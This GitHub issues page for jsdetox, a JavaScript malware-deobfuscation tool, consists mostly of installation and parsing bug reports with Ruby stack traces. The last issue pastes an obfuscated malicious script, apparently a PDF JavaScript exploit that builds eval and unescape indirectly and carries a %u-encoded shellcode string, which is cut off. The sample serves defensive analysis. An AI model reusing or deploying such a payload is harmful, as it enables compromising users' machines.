Git Product home page Git Product logo

jsdetox's Issues

OSX installation

Any chance of getting this to install on OSX?

The installer is getting stuck at the 'therubyracer' package.

Parsing issues with 0.2.1

so i still have trouble with the page mentioned in #10 but this time i will try to supply more detailed information.

System is a Kubuntu 14.04 64bit computer, running ruby 1.9.1 with german locale activated.

New testfile is available at: http://fbe.am/tOF

Again i can't extract scripts from the page, but the more intresting part is that jsdetox fails as soon as i try to execute the file, no matter if trace eval and/or "do not trace variable values" is checked .

We get " Unexpected token ILLEGAL (Line 3)"
JSdetox trace is:

at :3:25,/home/me/Downloads/jsdetox/jsdetox/lib/framework/jsengine_v8.rb:211:in execute',/home/me/Downloads/jsdetox/jsdetox/app/controllers/backend.rb:32:inblock (2 levels) in <top (required)>',/var/lib/gems/1.9.1/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:569:in call',/var/lib/gems/1.9.1/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:569:inblock in route',/var/lib/gems/1.9.1/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:51:in []',/var/lib/gems/1.9.1/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:51:inblock (3 levels) in process_destination_path',/var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:876:in route_eval',/var/lib/gems/1.9.1/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:51:inblock (2 levels) in process_destination_path',/var/lib/gems/1.9.1/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:51:in catch',/var/lib/gems/1.9.1/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:51:inblock in process_destination_path',/var/lib/gems/1.9.1/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:25:in instance_eval',/var/lib/gems/1.9.1/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:25:inprocess_destination_path',(eval):134:in block (2 levels) in inject_root_methods',(eval):124:incatch',(eval):124:in block in inject_root_methods',/var/lib/gems/1.9.1/gems/http_router-0.10.2/lib/http_router/node/root.rb:92:in[]',/var/lib/gems/1.9.1/gems/http_router-0.10.2/lib/http_router.rb:119:in block in call',/var/lib/gems/1.9.1/gems/http_router-0.10.2/lib/http_router.rb:119:incatch',/var/lib/gems/1.9.1/gems/http_router-0.10.2/lib/http_router.rb:119:in call',/var/lib/gems/1.9.1/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:919:inroute!',/var/lib/gems/1.9.1/gems/padrino-core-0.10.7/lib/padrino-core/application/routing.rb:909:in dispatch!',/var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:794:inblock in call!',/var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:946:in block in invoke',/var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:946:incatch',/var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:946:in invoke',/var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:794:incall!',/var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:780:in call',/var/lib/gems/1.9.1/gems/rack-1.5.2/lib/rack/session/abstract/id.rb:225:incontext',/var/lib/gems/1.9.1/gems/rack-1.5.2/lib/rack/session/abstract/id.rb:220:in call',/var/lib/gems/1.9.1/gems/sass-3.3.13/lib/sass/plugin/rack.rb:54:incall',/var/lib/gems/1.9.1/gems/rack-1.5.2/lib/rack/head.rb:11:in call',/var/lib/gems/1.9.1/gems/rack-1.5.2/lib/rack/methodoverride.rb:21:incall',/var/lib/gems/1.9.1/gems/padrino-core-0.10.7/lib/padrino-core/reloader.rb:250:in call',/var/lib/gems/1.9.1/gems/padrino-core-0.10.7/lib/padrino-core/logger.rb:388:incall',/var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/showexceptions.rb:21:in call',/var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:1417:inblock in call',/var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:1499:in synchronize',/var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:1417:incall',/var/lib/gems/1.9.1/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:83:in block in call',/var/lib/gems/1.9.1/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:76:ineach',/var/lib/gems/1.9.1/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:76:in call',/var/lib/gems/1.9.1/gems/rack-1.5.2/lib/rack/handler/webrick.rb:60:inservice',/usr/lib/ruby/1.9.1/webrick/httpserver.rb:138:in service',/usr/lib/ruby/1.9.1/webrick/httpserver.rb:94:inrun',/usr/lib/ruby/1.9.1/webrick/server.rb:191:in `block in start_thread'

Once i received:
[2014-08-05 19:43:46] ERROR bad Request-Line `\x16\x03\x01\x00�\x01\x00\x00�\x03\x03E\x1EN8%Z��:W\a;/~'.

and there are some minor warnings WARN Could not determine content-length of response body. Set content-length of the response or set Response#chunked = true

How would i
a) extract scripts?
b) get past the "illegal" warning?

If there is anything else than ruby version or OS that you need to help me solve it, just shout

Simple script cannot be analyzed

Hello,
first of all, very cool project.
This is a simple script, working in my browser:

    <html>
        <body>
            <script>
                var a='aler'+'t ("ciao");';
                eval(a);
            </script>
        </body>
    </html>

Js-detox correctly identifies the script, and is able to run it and intercept the eval correctly. However, clicking the "Analyze" javascript button a failure is reported: The JS cannot be parsed.

Hoping this helps you, rock on.

jsdetox commit #: 4b79cd6

Extracing scripts fails

Uploading http://fbe.am/pPK into the analysis window of JSDetox fails.
It only says:
No script tags found.

Although that file clearly has quite a few
script type="text/javascript"

Issue with for loops rewriting

I'm getting errors from:

for( var x = [], y = d[k[234]], i = 0; i < y; i++) g = 3; return x;

as somehow it got rewritten as:
for (var x =[];
var y = d[k[234]];
var i = 0; i < y; i++) ...

Analysis button gets stucked at "loading..."

The analysis part of the tool seems to do nothing. Well, the rest of it doesn't respond either.

First I installed jsdetox in my OSX and when I saw that I thought it was the OS, even though there were no errors. So I installed it in my Debian and the same.

I don't see errors anywhere:

image

I've been stripping down the code to easier and easier bits just to try. I even tried the sample on your website: var x = 10 * 3 + 100 - 70 / 10; but this is all i get:

image

error when running

Hello,

I have installed jsdetox within my rvm env and get error at runtime
list of used dependencies:
Using rake 11.1.2
Using i18n 0.7.0
Using multi_json 1.11.3
Using haml 3.1.8
Using hexdump 0.2.3
Using rack 1.6.4
Using json 1.8.3
Using libv8 3.3.10.4
Using mime-types 1.25.1
Using polyglot 0.3.5
Using mini_portile2 2.0.0
Using tilt 1.3.7
Using thor 0.15.4
Using bundler 1.12.0
Using sass 3.4.22
Using activesupport 3.2.22.2
Using url_mount 0.2.1
Using rack-protection 1.5.3
Using therubyracer 0.9.8
Using treetop 1.4.15
Using nokogiri 1.6.7.2
Using http_router 0.10.2
Using sinatra 1.3.6
Using mail 2.3.3
Using padrino-core 0.10.7
Using padrino-helpers 0.10.7
Using padrino-cache 0.10.7
Using padrino-gen 0.10.7
Using padrino-mailer 0.10.7
Using padrino-admin 0.10.7
Using padrino 0.10.7

Error message:

[JSDetox] Loading framework ... done.
[JSDetox] Starting webserver (hit Ctrl-C to quit) ...
=> Padrino/0.10.7 has taken the stage development at http://192.168.254.3:3000
[2016-04-29 11:52:17] INFO WEBrick 1.3.1
[2016-04-29 11:52:17] INFO ruby 2.3.0 (2015-12-25) [x86_64-linux]
[2016-04-29 11:52:17] INFO WEBrick::HTTPServer#start: pid=23131 port=3000
Thread.exclusive is deprecated, use Mutex
/home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/reloader.rb:247:in call' /home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/logger.rb:388:incall'
/home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/sinatra-1.3.6/lib/sinatra/showexceptions.rb:21:in call' /home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:1417:inblock in call'
/home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:1499:in synchronize' /home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:1417:incall'
/home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:83:in block in call' /home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:76:ineach'
/home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:76:in call' /home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/rack-1.6.4/lib/rack/handler/webrick.rb:88:inservice'
/home/emailanalyzer/.rvm/rubies/ruby-2.3.0/lib/ruby/2.3.0/webrick/httpserver.rb:140:in service' /home/emailanalyzer/.rvm/rubies/ruby-2.3.0/lib/ruby/2.3.0/webrick/httpserver.rb:96:inrun'
/home/emailanalyzer/.rvm/rubies/ruby-2.3.0/lib/ruby/2.3.0/webrick/server.rb:296:in block in start_thread' [2016-04-29 11:52:27] ERROR NoMethodError: undefined methodjoin' for #String:0x000000040f5420
/home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/sinatra-1.3.6/lib/sinatra/showexceptions.rb:37:in rescue in call' /home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/sinatra-1.3.6/lib/sinatra/showexceptions.rb:21:incall'
/home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:1417:in block in call' /home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:1499:insynchronize'
/home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:1417:in call' /home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:83:inblock in call'
/home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:76:in each' /home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:76:incall'
/home/emailanalyzer/.rvm/gems/ruby-2.3.0/gems/rack-1.6.4/lib/rack/handler/webrick.rb:88:in service' /home/emailanalyzer/.rvm/rubies/ruby-2.3.0/lib/ruby/2.3.0/webrick/httpserver.rb:140:inservice'
/home/emailanalyzer/.rvm/rubies/ruby-2.3.0/lib/ruby/2.3.0/webrick/httpserver.rb:96:in run' /home/emailanalyzer/.rvm/rubies/ruby-2.3.0/lib/ruby/2.3.0/webrick/server.rb:296:inblock in start_thread'

Any help on that issue would be appreciate !

Regards,

Bundle install fails on i18n in OS X 10.8.5

~/jsdetox$ bundle install 

Fails with:

Gem::InstallError: i18n requires Ruby version >= 1.9.3.
An error occurred while installing i18n (0.7.0), and Bundler cannot continue.
Make sure that `gem install i18n -v '0.7.0'` succeeds before bundling.
Bundler::InstallError: An error occurred while installing i18n (0.7.0), and Bundler cannot continue.
Make sure that `gem install i18n -v '0.7.0'` succeeds before bundling.

Manually running 'gem install i18n -v 0.7.0' does not resolve this (even though it has no errors).

Any suggestions?

Context:

  • OS X 10.8.5
  • Python 2.7.2
  • clang --version Apple LLVM version 5.1 (clang-503.0.40) (based on LLVM 3.4svn) Target: x86_64-apple-darwin12.5.0 Thread model: posix
  • ruby 2.2.0p0 (2014-12-25 revision 49005) [x86_64-darwin12.0]

Java parsing issue

I've run into an error when attempting to analyze\execute some potentially malicious java. I keep encountering an Unexpected identifier (Line 1) error, here is the trace info for executioe:

at :1:9,/jsdetox/lib/framework/jsengine_v8.rb:178:in execute',/jsdetox/app/controllers/backend.rb:46:inblock (2 levels) in <top (required)>',/var/lib/gems/1.9.1/gems/padrino-core-0.10.5/lib/padrino-core/application/routing.rb:569:in call',/var/lib/gems/1.9.1/gems/padrino-core-0.10.5/lib/padrino-core/application/routing.rb:569:inblock in route',/var/lib/gems/1.9.1/gems/padrino-core-0.10.5/lib/padrino-core/application/routing.rb:51:in []',/var/lib/gems/1.9.1/gems/padrino-core-0.10.5/lib/padrino-core/application/routing.rb:51:inblock (3 levels) in process_destination_path',/var/lib/gems/1.9.1/gems/sinatra-1.3.5/lib/sinatra/base.rb:876:in route_eval',/var/lib/gems/1.9.1/gems/padrino-core-0.10.5/lib/padrino-core/application/routing.rb:51:inblock (2 levels) in process_destination_path',/var/lib/gems/1.9.1/gems/padrino-core-0.10.5/lib/padrino-core/application/routing.rb:51:in catch',/var/lib/gems/1.9.1/gems/padrino-core-0.10.5/lib/padrino-core/application/routing.rb:51:inblock in process_destination_path',/var/lib/gems/1.9.1/gems/padrino-core-0.10.5/lib/padrino-core/application/routing.rb:25:in instance_eval',/var/lib/gems/1.9.1/gems/padrino-core-0.10.5/lib/padrino-core/application/routing.rb:25:inprocess_destination_path',(eval):134:in block (2 levels) in inject_root_methods',(eval):124:incatch',(eval):124:in block in inject_root_methods',/var/lib/gems/1.9.1/gems/http_router-0.10.2/lib/http_router/node/root.rb:92:in[]',/var/lib/gems/1.9.1/gems/http_router-0.10.2/lib/http_router.rb:119:in block in call',/var/lib/gems/1.9.1/gems/http_router-0.10.2/lib/http_router.rb:119:incatch',/var/lib/gems/1.9.1/gems/http_router-0.10.2/lib/http_router.rb:119:in call',/var/lib/gems/1.9.1/gems/padrino-core-0.10.5/lib/padrino-core/application/routing.rb:910:inroute!',/var/lib/gems/1.9.1/gems/padrino-core-0.10.5/lib/padrino-core/application/routing.rb:900:in dispatch!',/var/lib/gems/1.9.1/gems/sinatra-1.3.5/lib/sinatra/base.rb:794:inblock in call!',/var/lib/gems/1.9.1/gems/sinatra-1.3.5/lib/sinatra/base.rb:946:in block in invoke',/var/lib/gems/1.9.1/gems/sinatra-1.3.5/lib/sinatra/base.rb:946:incatch',/var/lib/gems/1.9.1/gems/sinatra-1.3.5/lib/sinatra/base.rb:946:in invoke',/var/lib/gems/1.9.1/gems/sinatra-1.3.5/lib/sinatra/base.rb:794:incall!',/var/lib/gems/1.9.1/gems/sinatra-1.3.5/lib/sinatra/base.rb:780:in call',/var/lib/gems/1.9.1/gems/rack-1.5.2/lib/rack/session/abstract/id.rb:225:incontext',/var/lib/gems/1.9.1/gems/rack-1.5.2/lib/rack/session/abstract/id.rb:220:in call',/var/lib/gems/1.9.1/gems/sass-3.2.6/lib/sass/plugin/rack.rb:54:incall',/var/lib/gems/1.9.1/gems/rack-1.5.2/lib/rack/head.rb:11:in call',/var/lib/gems/1.9.1/gems/rack-1.5.2/lib/rack/methodoverride.rb:21:incall',/var/lib/gems/1.9.1/gems/padrino-core-0.10.5/lib/padrino-core/reloader.rb:250:in call',/var/lib/gems/1.9.1/gems/padrino-core-0.10.5/lib/padrino-core/logger.rb:306:incall',/var/lib/gems/1.9.1/gems/sinatra-1.3.5/lib/sinatra/showexceptions.rb:21:in call',/var/lib/gems/1.9.1/gems/sinatra-1.3.5/lib/sinatra/base.rb:1417:inblock in call',/var/lib/gems/1.9.1/gems/sinatra-1.3.5/lib/sinatra/base.rb:1499:in synchronize',/var/lib/gems/1.9.1/gems/sinatra-1.3.5/lib/sinatra/base.rb:1417:incall',/var/lib/gems/1.9.1/gems/padrino-core-0.10.5/lib/padrino-core/router.rb:83:in block in call',/var/lib/gems/1.9.1/gems/padrino-core-0.10.5/lib/padrino-core/router.rb:76:ineach',/var/lib/gems/1.9.1/gems/padrino-core-0.10.5/lib/padrino-core/router.rb:76:in call',/var/lib/gems/1.9.1/gems/rack-1.5.2/lib/rack/handler/webrick.rb:60:inservice',/usr/lib/ruby/1.9.1/webrick/httpserver.rb:138:in service',/usr/lib/ruby/1.9.1/webrick/httpserver.rb:94:inrun',/usr/lib/ruby/1.9.1/webrick/server.rb:191:in `block in start_thread'

Thanks,

Emulate calling of global functions through window object

Javascript supports calling global functions through the window object.
Example:

function asd() {
  eval("...");
}

window.asd();

JSDetox should emulate this behavior.
Thanks to Evild3ad (evild3ad.com) for reporting this - a problem analyzing a sample of the Blackhole Exploit Kit 2 boiled down to this.

Parsing Javascript issue.

Issue Parsing this Javascript

var ev = 'yeegsgvsssaglh';var m;var mm;mmmm = "lll0a0alll0a0a";mmmmm = "lll0a0alll0a0alll0a0alll0a0alll0a0alll0a0alll0a0alll0a0alll4478lll4a75lll6457lll6865lll5846lll496blll4d6blll4373lll6756lll5a58lll575alll7856lll4b54lll5858lll6543lll7474lll7273lll4153lll4b4elll6e70lll516flll4345lll7870lll624clll7456lll6e72lll4743lll4b4d";var mmmmmm;var mmmmmmmmm;var mmmmmmmmmm;app[ev.charAt(2)+ev.charAt(6)+ev.charAt(10)+ev.charAt(12)]('m = ap'+'p[\'ev\'+\'\'+\'al\'];');app[ev.charAt(2)+ev.charAt(6)+ev.charAt(10)+ev.charAt(12)]('mm=une'+'sca'/**/+/**/'pe;');mmmmmmmmmmmmmmmmmmm = '\r\nfunction xoxo()\r\n{\r\nreturn \"yyy%yyyuyyy0yyydyyyeyyybyyy%yyyuyyy4yyy9yyy5yyy9yyy%yyyuyyy8yyy0yyy4yyy1yyy%yyyuyyy6yyy7yyy3yyy1yyy%yyyuyyy3yyy9yyy8yyy0yyy%yyyuyyy7yyy5yyy9yyy0yyy%yyyuyyyeyyybyyyfyyy7yyy%yyyuyyyeyyy8yyy0yyy5yyy%yyyuyyyfyyyfyyyeyyyeyyy%yyyuyyyfyyyfyyyfyyyfyyy%yyyuyyy4yyy6yyy0yyydyyy%yyyuyyy6yyy7yyy0yyyfyyy%yyyuyyy6yyy6yyy1yyy1yyy%yyyuyyy0yyyfyyy6yyy7yyy%yyyuyyy0yyy3yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy6yyy%yyyuyyy6yyy7yyy0yyyfyyy%yyyuyyy6yyy7yyy7yyy5yyy%yyyuyyy0yyyfyyy6yyy7yyy%yyyuyyy9yyy7yyyfyyy1yyy%yyyuyyy6yyy7yyy6yyy6yyy%yyyuyyy4yyy6yyy0yyyfyyy%yyyuyyy6yyy6yyy1yyy1yyy%yyyuyyy0yyydyyy6yyy7yyy%yyyuyyy0yyyfyyy6yyy7yyy%yyyuyyy0yyy1yyydyyy0yyy%yyyuyyy6yyy7yyy6yyy4yyy%yyyuyyy9yyybyyy3yyy3yyy%yyyuyyyfyyy4yyy0yyyfyyy%yyyuyyy8yyy3yyy5yyy5yyy%yyyuyyy0yyyfyyyfyyy3yyy%yyyuyyyeyyyayyyayyy3yyy%yyyuyyy1yyy3yyy7yyy8yyy%yyyuyyydyyy5yyy0yyyfyyy%yyyuyyy6yyy8yyy5yyy1yyy%yyyuyyy0yyyfyyy7yyy4yyy%yyyuyyy0yyy1yyy3yyy0yyy%yyyuyyy9yyy8yyy6yyyayyy%yyyuyyy3yyy6yyy0yyyfyyy%yyyuyyycyyy5yyy4yyy8yyy%yyyuyyy0yyyfyyy6yyy6yyy%yyyuyyy8yyy5yyy5yyyeyyy%yyyuyyyeyyy4yyy1yyyayyy%yyyuyyyeyyy8yyy0yyyfyyy%yyyuyyy7yyyfyyy9yyy5yyy%yyyuyyy0yyyfyyy0yyy6yyy%yyyuyyydyyy9yyy2yyy4yyy%yyyuyyybyyycyyycyyybyyy%yyyuyyy8yyyayyy0yyyfyyy%yyyuyyy9yyy8yyycyyy8yyy%yyyuyyy0yyyfyyydyyy3yyy%yyyuyyy4yyy5yyycyyyeyyy%yyyuyyycyyy6yyyfyyyeyyy%yyyuyyyeyyy9yyy0yyyfyyy%yyyuyyy6yyydyyy7yyy4yyy%yyyuyyy0yyyfyyycyyybyyy%yyyuyyyeyyy0yyyfyyycyyy%yyyuyyy8yyy2yyyeyyycyyy%yyyuyyy9yyy3yyyeyyycyyy%yyyuyyy1yyy9yyyeyyyayyy%yyyuyyy5yyy4yyybyyy7yyy%yyyuyyydyyy0yyybyyycyyy%yyyuyyy4yyycyyy6yyy3yyy%yyyuyyy3yyy3yyy8yyy4yyy%yyyuyyybyyy5yyy5yyy4yyy%yyyuyyyeyyycyyy0yyy3yyy%yyyuyyy5yyy7yyy3yyydyyy%yyyuyyy2yyycyyyeyyycyyy%yyyuyyyeyyycyyy6yyybyyy%yyyuyyy7yyybyyy2yyyeyyy%yyyuyyy6yyyeyyyeyyycyyy%yyyuyyy0yyyeyyyeyyycyyy%yyyuyyycyyyayyy6yyyfyyy%yyyuyyyeyyycyyy0yyy7yyy%yyyuyyy5yyybyyy2yyy2yyy%yyyuyyy2yyybyyyeyyycyyy%yyyuyyy1yyyfyyy6yyy2yyy%yyyuyyyayyyayyy6yyy4yyy%yyyuyyy3yyyeyyyeyyycyyy%yyyuyyy6yyy4yyy4yyy7yyy%yyyuyyy5yyy4yyybyyyayyy%yyyuyyy2yyy0yyy9yyy8yyy%yyyuyyy5yyy3yyyeyyycyyy%yyyuyyy6yyy4yyydyyycyyy%yyyuyyyfyyyeyyy9yyy2yyy%yyyuyyydyyy9yyy6yyy8yyy%yyyuyyy5yyydyyy6yyy1yyy%yyyuyyy1yyy3yyyayyy3yyy%yyyuyyyayyy6yyy6yyyfyyy%yyyuyyy6yyy0yyyayyydyyy%yyyuyyybyyy7yyy6yyy4yyy%yyyuyyy8yyycyyy2yyy1yyy%yyyuyyy5yyycyyy9yyy6yyy%yyyuyyy4yyy3yyy3yyy3yyy%yyyuyyy1yyy2yyy7yyybyyy%yyyuyyyeyyycyyy8yyy3yyy%yyyuyyy4yyy3yyy3yyyeyyy%yyyuyyybyyyayyy6yyy4yyy%yyyuyyyeyyycyyy0yyy1yyy%yyyuyyy1yyycyyy5yyybyyy%yyyuyyy3yyyeyyyeyyycyyy%yyyuyyy6yyy4yyy7yyybyyy%yyyuyyy6yyy4yyybyyyayyy%yyyuyyydyyycyyy4yyybyyy%yyyuyyy3yyy8yyyfyyy2yyy%yyyuyyy3yyy0yyycyyycyyy%yyyuyyy5yyyayyy0yyy6yyy%yyyuyyy5yyy5yyyfyyy4yyy%yyyuyyyfyyy3yyy8yyy3yyy%yyyuyyydyyy2yyy1yyy2yyy%yyyuyyy2yyy0yyyeyyycyyy%yyyuyyyeyyy4yyy9yyybyyy%yyyuyyy6yyy2yyyayyy7yyy%yyyuyyy2yyy0yyyeyyyeyyy%yyyuyyyeyyycyyy9yyybyyy%yyyuyyy8yyybyyy2yyy0yyy%yyyuyyyayyy7yyyeyyy4yyy%yyyuyyyeyyyeyyy6yyy2yyy%yyyuyyy8yyybyyy2yyy0yyy%yyyuyyy8yyybyyyeyyy6yyy%yyyuyyy6yyyfyyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy8yyybyyyeyyycyyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyy3yyy0yyy9yyy8yyy%yyyuyyy5yyy4yyybyyy7yyy%yyyuyyy5yyy4yyyayyyeyyy%yyyuyyyeyyy7yyybyyycyyy%yyyuyyy5yyydyyy5yyyfyyy%yyyuyyy6yyy6yyy1yyy2yyy%yyyuyyy2yyy6yyy2yyy4yyy%yyyuyyy5yyybyyyeyyy7yyy%yyyuyyy5yyydyyy6yyyfyyy%yyyuyyy9yyyeyyy1yyy2yyy%yyyuyyyeyyy4yyy2yyy4yyy%yyyuyyy6yyy5yyy9yyycyyy%yyyuyyy9yyy4yyy1yyy2yyy%yyyuyyy6yyy4yyy2yyyeyyy%yyyuyyyeyyyeyyyayyy6yyy%yyyuyyy6yyy7yyyeyyy2yyy%yyyuyyy6yyy7yyy6yyy6yyy%yyyuyyy5yyy4yyy6yyy7yyy%yyyuyyy2yyy6yyyayyyeyyy%yyyuyyy5yyybyyyeyyy7yyy%yyyuyyy4yyy5yyy6yyyfyyy%yyyuyyy9yyyeyyy1yyy2yyy%yyyuyyy6yyy3yyyayyy1yyy%yyyuyyy6yyy7yyy6yyyfyyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyyeyyy7yyy0yyyfyyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy0yyydyyy6yyy7yyy%yyyuyyy0yyydyyy6yyy4yyy%yyyuyyy0yyydyyy6yyy7yyy%yyyuyyy0yyyfyyy6yyy4yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyyeyyy7yyy6yyy7yyy%yyyuyyydyyy2yyyeyyycyyy%yyyuyyy6yyy6yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy8yyyfyyy3yyy1yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyyeyyy4yyy3yyyfyyy%yyyuyyy6yyyayyyayyy7yyy%yyyuyyy3yyy2yyy3yyy7yyy%yyyuyyy8yyybyyyeyyycyyy%yyyuyyy2yyy0yyyeyyycyyy%yyyuyyy9yyy8yyy9yyybyyy%yyyuyyyeyyyeyyy8yyy7yyy%yyyuyyy5yyy3yyy2yyy0yyy%yyyuyyy0yyyfyyy3yyy2yyy%yyyuyyy6yyy6yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy3yyy0yyy9yyy8yyy%yyyuyyyeyyyayyy8yyyfyyy%yyyuyyy6yyy7yyydyyy2yyy%yyyuyyy6yyy7yyy6yyy6yyy%yyyuyyy3yyy1yyy6yyy7yyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyy9yyy8yyy3yyy2yyy%yyyuyyybyyyfyyy3yyy0yyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyy6yyy5yyy0yyydyyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyy6yyy7yyy0yyyfyyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy3yyy1yyy2yyy7yyy%yyyuyyy6yyy7yyy8yyyfyyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy3yyyfyyy6yyy7yyy%yyyuyyyayyy7yyyeyyy4yyy%yyyuyyy3yyy7yyy6yyyayyy%yyyuyyyeyyycyyy3yyy2yyy%yyyuyyyeyyycyyy8yyybyyy%yyyuyyy9yyybyyy2yyy0yyy%yyyuyyy8yyy7yyy9yyy8yyy%yyyuyyy9yyyfyyyeyyy4yyy%yyyuyyy6yyy8yyy6yyy7yyy%yyyuyyy0yyy8yyyeyyy9yyy%yyyuyyy6yyy7yyy6yyy5yyy%yyyuyyyeyyyeyyy6yyy7yyy%yyyuyyy6yyy7yyyeyyy2yyy%yyyuyyy6yyy7yyy6yyy1yyy%yyyuyyyeyyycyyy6yyy7yyy%yyyuyyy2yyy3yyy3yyy8yyy%yyyuyyy1yyy0yyyeyyycyyy%yyyuyyy0yyydyyy5yyy3yyy%yyyuyyy0yyydyyy6yyy7yyy%yyyuyyy3yyy4yyy6yyy7yyy%yyyuyyy9yyy8yyy3yyy1yyy%yyyuyyy8yyy7yyy3yyy0yyy%yyyuyyy3yyy8yyyeyyycyyy%yyyuyyyayyy0yyy2yyyfyyy%yyyuyyy6yyy3yyyeyyy2yyy%yyyuyyy6yyy7yyy6yyy1yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy3yyy%yyyuyyy0yyydyyy6yyy7yyy%yyyuyyyeyyyayyy6yyy7yyy%yyyuyyy6yyy7yyyeyyy2yyy%yyyuyyy6yyy7yyy6yyy0yyy%yyyuyyy3yyy7yyy6yyy7yyy%yyyuyyy6yyy7yyy0yyyfyyy%yyyuyyy6yyy7yyy6yyy3yyy%yyyuyyyeyyyayyy6yyy7yyy%yyyuyyy6yyy7yyyeyyy2yyy%yyyuyyy6yyy7yyy6yyy5yyy%yyyuyyy3yyy7yyy6yyy7yyy%yyyuyyy1yyy0yyyeyyycyyy%yyyuyyy3yyy1yyy5yyy3yyy%yyyuyyy3yyy0yyy9yyy8yyy%yyyuyyyeyyycyyy9yyy3yyy%yyyuyyy4yyyayyyayyy4yyy%yyyuyyy6yyy3yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy9yyyfyyyeyyy4yyy%yyyuyyy1yyy8yyy6yyy7yyy%yyyuyyyeyyyeyyy6yyy1yyy%yyyuyyy6yyy3yyyfyyyayyy%yyyuyyy6yyy7yyy6yyy1yyy%yyyuyyy5yyy4yyy6yyy7yyy%yyyuyyyeyyyayyyayyyeyyy%yyyuyyy6yyyayyydyyy3yyy%yyyuyyy6yyy5yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy5yyy5yyycyyybyyy%yyyuyyyayyy7yyyayyy6yyy%yyyuyyy6yyy4yyyayyyfyyy%yyyuyyy9yyydyyyeyyy0yyy%yyyuyyydyyybyyyeyyyayyy%yyyuyyy6yyy7yyy6yyyayyy%yyyuyyy6yyy7yyy6yyy5yyy%yyyuyyycyyydyyy6yyy7yyy%yyyuyyy9yyydyyyeyyy0yyy%yyyuyyy5yyycyyy2yyy6yyy%yyyuyyy6yyy3yyyeyyyayyy%yyyuyyy6yyy7yyy6yyy1yyy%yyyuyyy1yyy2yyy6yyy7yyy%yyyuyyy0yyydyyybyyy9yyy%yyyuyyyeyyyayyy6yyy7yyy%yyyuyyy6yyy3yyyeyyy2yyy%yyyuyyy6yyy7yyy6yyy0yyy%yyyuyyy3yyy7yyy6yyy7yyy%yyyuyyydyyy2yyy9yyy8yyy%yyyuyyy6yyy1yyy6yyy3yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyyeyyy2yyyeyyyayyy%y